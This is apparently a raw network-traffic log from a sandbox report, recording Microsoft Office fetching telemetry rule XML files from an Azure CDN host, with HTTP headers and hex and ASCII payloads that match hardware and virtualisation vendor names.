2024-11-30 08:45:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:24 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 80aee034-201e-00aa-143d-403928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084524Z-174f7845968n2hr8hC1EWR9cag00000010rg000000009zgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:24 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 8bbb4784-e01e-0003-6915-410fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084524Z-174f78459685726chC1EWRsnbg00000011bg0000000009b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:26 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:26 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 25536d4f-c01e-007a-0caa-42b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084526Z-174f7845968psccphC1EWRuz9s00000011eg000000004r9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084526Z-174f784596886s2bhC1EWR743w000000114000000000ac9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b6e778c-d01e-005a-3367-407fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084526Z-174f7845968frfdmhC1EWRxxbw000000114g0000000092pn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:26 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084526Z-174f7845968jrjrxhC1EWRmmrs00000011dg00000000128g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:26 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084526Z-174f78459685m244hC1EWRgp2c000000114g0000000008pv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: f990aecf-801e-0035-05af-42752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084528Z-174f7845968nxc96hC1EWRspw800000011000000000021nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 08:45:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084529Z-174f7845968frfdmhC1EWRxxbw000000119g000000002aw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 10a7d4e2-301e-0033-7a2a-41fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084529Z-174f7845968frfdmhC1EWRxxbw000000114g0000000092r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 35239132-b01e-005c-225f-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084529Z-174f78459688l8rvhC1EWRtzr00000000ds0000000006dc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
